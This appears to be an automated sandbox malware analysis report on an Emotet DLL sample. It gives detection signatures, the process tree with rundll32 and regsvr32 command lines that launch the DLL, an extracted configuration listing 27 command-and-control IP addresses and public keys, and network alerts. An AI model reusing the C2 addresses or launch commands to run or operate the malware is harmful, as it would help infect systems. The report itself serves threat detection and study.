Play interactive tour

Edit tour

Windows Analysis Report 5o8zdV3GU3

Overview

General Information

Sample Name:	5o8zdV3GU3 (renamed file extension from none to dll)
Analysis ID:	553143
MD5:	189bf4703028e64816a04b4e4ed2767d
SHA1:	0b7b0275e4095b367cb9bc54594d67b539b70ff1
SHA256:	adadac282d13fd1859a084555e73747d751d27f39059026c08b52f2a316dddc9
Tags:	32dllexetrojan
Infos:
Most interesting Screenshot:

Detection

Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Multi AV Scanner detection for submitted file

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

Sigma detected: Suspicious Call by Ordinal

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

PE file contains strange resources

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Connects to several IPs in different countries

Potential key logger detected (key state polling based)

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

svchost.exe (PID: 6968 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

loaddll32.exe (PID: 7012 cmdline: loaddll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 7068 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 7156 cmdline: rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6428 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

regsvr32.exe (PID: 7140 cmdline: regsvr32.exe /s C:\Users\user\Desktop\5o8zdV3GU3.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

rundll32.exe (PID: 6476 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 6076 cmdline: rundll32.exe C:\Users\user\Desktop\5o8zdV3GU3.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5032 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mumgmtegektiykh\kztyzxlvaam.cuq",PuybGev MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 4008 cmdline: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mumgmtegektiykh\kztyzxlvaam.cuq",DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 7048 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 720 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5140 cmdline: c:\windows\system32\svchost.exe -k unistacksvcgroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6440 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 6416 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 6568 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 4476 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 5028 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 492 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4104 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5692 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Emotet

{"C2 list": ["45.138.98.34:80", "69.16.218.101:8080", "51.210.242.234:8080", "185.148.168.220:8080", "142.4.219.173:8080", "54.38.242.185:443", "191.252.103.16:80", "104.131.62.48:8080", "62.171.178.147:8080", "217.182.143.207:443", "168.197.250.14:80", "37.44.244.177:8080", "66.42.57.149:443", "210.57.209.142:8080", "159.69.237.188:443", "116.124.128.206:8080", "128.199.192.135:8080", "195.154.146.35:443", "185.148.168.15:8080", "195.77.239.39:8080", "207.148.81.119:8080", "85.214.67.203:8080", "190.90.233.66:443", "78.46.73.125:443", "78.47.204.80:443", "37.59.209.141:8080", "54.37.228.122:443"], "Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.288106949.0000000002920000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295420739.00000000025D0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000F.00000002.299662672.0000000004B31000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295926271.0000000004820000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322196530.00000000046F1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000006.00000002.288171571.0000000004221000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295834893.0000000004691000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322096907.0000000004590000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295905840.00000000047F1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322237408.00000000047A0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295970010.0000000004980000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322126344.00000000045C1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322324942.0000000004831000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322265167.00000000047D1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295742622.0000000004580000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295801770.0000000004660000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.321908815.0000000003FF1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322168517.00000000046C0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295884974.00000000047C0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.321798721.00000000025C0000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295946412.0000000004851000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.291064992.0000000003371000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000F.00000002.299581696.0000000003240000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295994852.00000000049B1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295767081.00000000045B1000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.291040092.0000000003340000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000C.00000002.322291454.0000000004800000.00000040.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.295442330.0000000002601000.00000020.00000001.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.rundll32.exe.4980000.10.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.4800000.8.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.47c0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.25d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
15.2.rundll32.exe.4b30000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.4800000.8.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.25c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.3340000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.3340000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4660000.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4820000.8.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4980000.10.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.45b0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4690000.5.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.46f0000.5.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4850000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.49b0000.11.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.rundll32.exe.3370000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4580000.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
15.2.rundll32.exe.3240000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.3ff0000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.4590000.2.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.46c0000.4.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.4590000.2.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.2600000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4660000.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.25c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
15.2.rundll32.exe.3240000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.47a0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.47f0000.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.25d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.2920000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.46c0000.4.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.2920000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4580000.2.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
6.2.regsvr32.exe.4220000.1.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.4820000.8.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.47d0000.7.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.rundll32.exe.47c0000.6.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.4830000.9.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.45c0000.3.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
12.2.rundll32.exe.47a0000.6.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 37 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Call by Ordinal

Show sources

Source: Process started

Author: Florian Roth: Data: Command: rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1, CommandLine: rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7068, ProcessCommandLine: rundll32.exe "C:\Users\user\Desktop\5o8zdV3GU3.dll",#1, ProcessId: 7156

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 9.2.rundll32.exe.47c0000.6.raw.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["45.138.98.34:80", "69.16.218.101:8080", "51.210.242.234:8080", "185.148.168.220:8080", "142.4.219.173:8080", "54.38.242.185:443", "191.252.103.16:80", "104.131.62.48:8080", "62.171.178.147:8080", "217.182.143.207:443", "168.197.250.14:80", "37.44.244.177:8080", "66.42.57.149:443", "210.57.209.142:8080", "159.69.237.188:443", "116.124.128.206:8080", "128.199.192.135:8080", "195.154.146.35:443", "185.148.168.15:8080", "195.77.239.39:8080", "207.148.81.119:8080", "85.214.67.203:8080", "190.90.233.66:443", "78.46.73.125:443", "78.47.204.80:443", "37.59.209.141:8080", "54.37.228.122:443"], "Public Key": ["RUNLMSAAAADYNZPXY4tQxd/N4Wn5sTYAm5tUOxY2ol1ELrI4MNhHNi640vSLasjYTHpFRBoG+o84vtr7AJachCzOHjaAJFCW", "RUNTMSAAAAD0LxqDNhonUYwk8sqo7IWuUllRdUiUBnACc6romsQoe1YJD7wIe4AheqYofpZFucPDXCZ0z9i+ooUffqeoLZU0"]}

Multi AV Scanner detection for submitted file

Show sources

Source: 5o8zdV3GU3.dll

Virustotal: Detection: 30%

Perma Link

Machine Learning detection for sample

Show sources

Source: 5o8zdV3GU3.dll

Joe Sandbox ML: detected

Source: 5o8zdV3GU3.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2404332 ET CNC Feodo Tracker Reported CnC Server TCP group 17 192.168.2.3:49745 -> 45.138.98.34:80
Source: Traffic	Snort IDS: 2404338 ET CNC Feodo Tracker Reported CnC Server TCP group 20 192.168.2.3:49746 -> 69.16.218.101:8080

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 69.16.218.101 144			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.138.98.34 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	IPs: 45.138.98.34:80
Source: Malware configuration extractor	IPs: 69.16.218.101:8080
Source: Malware configuration extractor	IPs: 51.210.242.234:8080
Source: Malware configuration extractor	IPs: 185.148.168.220:8080
Source: Malware configuration extractor	IPs: 142.4.219.173:8080
Source: Malware configuration extractor	IPs: 54.38.242.185:443
Source: Malware configuration extractor	IPs: 191.252.103.16:80
Source: Malware configuration extractor	IPs: 104.131.62.48:8080
Source: Malware configuration extractor	IPs: 62.171.178.147:8080
Source: Malware configuration extractor	IPs: 217.182.143.207:443
Source: Malware configuration extractor	IPs: 168.197.250.14:80
Source: Malware configuration extractor	IPs: 37.44.244.177:8080
Source: Malware configuration extractor	IPs: 66.42.57.149:443
Source: Malware configuration extractor	IPs: 210.57.209.142:8080
Source: Malware configuration extractor	IPs: 159.69.237.188:443
Source: Malware configuration extractor	IPs: 116.124.128.206:8080
Source: Malware configuration extractor	IPs: 128.199.192.135:8080
Source: Malware configuration extractor	IPs: 195.154.146.35:443
Source: Malware configuration extractor	IPs: 185.148.168.15:8080
Source: Malware configuration extractor	IPs: 195.77.239.39:8080
Source: Malware configuration extractor	IPs: 207.148.81.119:8080
Source: Malware configuration extractor	IPs: 85.214.67.203:8080
Source: Malware configuration extractor	IPs: 190.90.233.66:443
Source: Malware configuration extractor	IPs: 78.46.73.125:443
Source: Malware configuration extractor	IPs: 78.47.204.80:443
Source: Malware configuration extractor	IPs: 37.59.209.141:8080
Source: Malware configuration extractor	IPs: 54.37.228.122:443

Source: Joe Sandbox View	ASN Name: AS-CHOOPAUS AS-CHOOPAUS
Source: Joe Sandbox View	ASN Name: DIGITALOCEAN-ASNUS DIGITALOCEAN-ASNUS

Source: Joe Sandbox View	IP Address: 207.148.81.119 207.148.81.119
Source: Joe Sandbox View	IP Address: 104.131.62.48 104.131.62.48

Source: global traffic

TCP traffic: 192.168.2.3:49746 -> 69.16.218.101:8080

Source: unknown

Network traffic detected: IP country count 11

Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 45.138.98.34
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101
Source: unknown	TCP traffic detected without corresponding DNS query: 69.16.218.101

Source: svchost.exe, 00000018.00000003.393856935.000001E6A5995000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000018.00000003.393856935.000001E6A5995000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000018.00000003.393856935.000001E6A5995000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","SkuTitle":"Spotify - Music and Podcasts","Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","A equals www.facebook.com (Facebook)
